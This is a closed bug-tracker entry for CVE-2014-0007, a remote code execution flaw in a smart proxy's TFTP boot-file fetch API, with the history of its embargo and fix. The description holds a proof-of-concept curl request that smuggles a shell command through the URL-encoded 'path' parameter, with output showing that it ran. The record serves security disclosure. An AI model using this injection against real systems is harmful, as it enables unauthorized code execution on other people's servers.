Project

General

Custom queries

Profile

Actions

Bug #6086

closed

CVE-2014-0007 - TFTP boot file fetch API permits remote code execution

Added by Dominic Cleal about 11 years ago. Updated almost 7 years ago.

Status:
Closed
Priority:
Urgent
Category:
Security
Target version:
Difficulty:
easy
Triaged:
Fixed in Releases:
Found in Releases:

Description

Reported by Lukas Zapletal to the security team and assigned CVE-2014-0007.

The smart proxy's API for fetching files from installation media for TFTP boot files permits remote code execution:

[root@nightly ~]# curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://localhost:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B'
[root@nightly ~]# ll /tmp/busted
-rw-r--r--. 1 foreman-proxy foreman-proxy 0 Jun  5 11:13 /tmp/busted

Files

#1

Updated by Lukas Zapletal about 11 years ago

  • Status changed from New to Assigned
  • Assignee set to Lukas Zapletal
  • Difficulty set to trivial
#2

Updated by Lukas Zapletal about 11 years ago

#4

Updated by Dominic Cleal about 11 years ago

  • Subject changed from CVE-2014-0007 - TFTP boot file fetch API permits remote code execution to EMBARGOED: CVE-2014-0007 - TFTP boot file fetch API permits remote code execution
#5

Updated by Dominic Cleal about 11 years ago

  • Translation missing: en.field_release set to 16
#7

Updated by Lukas Zapletal about 11 years ago

  • Status changed from Assigned to Ready For Testing
#8

Updated by Dominic Cleal about 11 years ago

  • Target version changed from 1.8.2 to 1.8.1
#9

Updated by Lukas Zapletal about 11 years ago

#10

Updated by Dominic Cleal about 11 years ago

  • Translation missing: en.field_release changed from 16 to 19
#12

Updated by Greg Sutcliffe almost 11 years ago

#15

Updated by Dominic Cleal almost 11 years ago

  • Status changed from Ready For Testing to Pending
#17

Updated by Dominic Cleal almost 11 years ago

#18

Updated by Dominic Cleal almost 11 years ago

  • Subject changed from EMBARGOED: CVE-2014-0007 - TFTP boot file fetch API permits remote code execution to CVE-2014-0007 - TFTP boot file fetch API permits remote code execution
  • Description updated (diff)
  • Private changed from Yes to No
#19

Updated by Anonymous almost 11 years ago

  • Status changed from Pending to Closed
  • % Done changed from 0 to 100
Actions

Also available in: Atom PDF